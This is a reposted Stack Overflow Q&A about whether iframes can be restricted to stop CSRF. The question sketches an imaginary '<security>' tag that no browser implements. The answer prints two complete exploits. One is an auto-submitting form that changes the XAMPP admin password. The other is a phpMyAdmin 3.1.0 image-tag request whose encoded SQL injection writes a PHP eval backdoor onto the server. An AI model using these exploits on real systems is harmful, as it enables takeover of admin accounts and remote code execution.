gpt4 book ai didi

javascript - 如何防止涉及嵌入式 iframe 的 CSRF/XSRF 攻击?

转载 作者:行者123 更新时间:2023-11-29 16:29:16 30 4
gpt4 key购买 nike

有没有办法限制 iframe 在父级中可以执行的操作?我正在寻找的是围绕 Javascript 的安全模型,如下所示:

...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}

function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
Deny All;
Allow javascript:AllowedToAccess();
}

iframe script.untrusted {
Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...

两个“trusted.html”看起来都像:

<html><body>
<script type="text/javascript">
function InternalCall()
{
window.parent.AllowedToAccess();
}

function InternalCall2()
{
window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
Allow javascript:document.body.offsetHeight;
Allow javascript:document.title;
}

script.untrusted {
Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>

“SomethingIShouldernt.php”看起来像:

NotAllowedToAccess();

“untrusted.js”看起来像:

window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

(呃...抱歉太过分了。)

您会注意到 HTML 代码中不存在“安全”标记。我正在考虑类似 CSS 选择器声明,并混合一些类似 Apache 的安全语法来定义规则。 (我没有使用 window.parent 规则,但它希望为浏览器阻止跨站点脚本展示一个不错的解决方法,这确实是非常令人沮丧的工作 - “我相信父窗口只能访问我的窗口的高度,并且标题”)。我希望这样的东西已经以某种形式存在(甚至是规范草案)。但恐怕答案是否定的。

这可以完成(甚至部分完成)吗?如果没有,那么我需要与谁交谈才能实现这样的事情(标准委员会或浏览器实现者)?当然,假设这有任何意义?

最佳答案

简短的回答是否定的,XSRF 与 iframe 无关。

伪造的请求是否来自 iframe 并不重要。伪造的请求必须来自另一台服务器,攻击者才能利用它。黑客使用 iframe 是因为它们可用于在 XSRF 漏洞利用中伪造发布请求,因为该漏洞利用必须使用 javascript 自动提交论坛。这是我针对 XAMPP 编写的真实 XSRF 漏洞,它更改了管理密码。最好在 iframe 中执行此 javascript/html,这样受害者就看不到它,但此漏洞可能会在没有 iframe 的情况下重定向整个窗口,并且仍然会更改管理员的密码。

<html>
<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
<input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
<input type=hidden name="xamppuser" value=admin >
<input type=hidden name="xampppasswd" value=password>
<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
<input type=submit>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>

但是如果 XSRF 攻击是基于 GET 的,那么 iframe 对攻击者没有帮助。最好使用 img 标签在受害者浏览器上自动发送伪造的请求。这是我为 phpMyAdmin 3.1.0 编写的另一个漏洞。这会在 Web 根目录中上传一个 php 后门。这个漏洞利用非常棒,因为它可以在不启用任何脚本的情况下工作并影响大量系统。

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

关于javascript - 如何防止涉及嵌入式 iframe 的 CSRF/XSRF 攻击?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2137505/

30 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com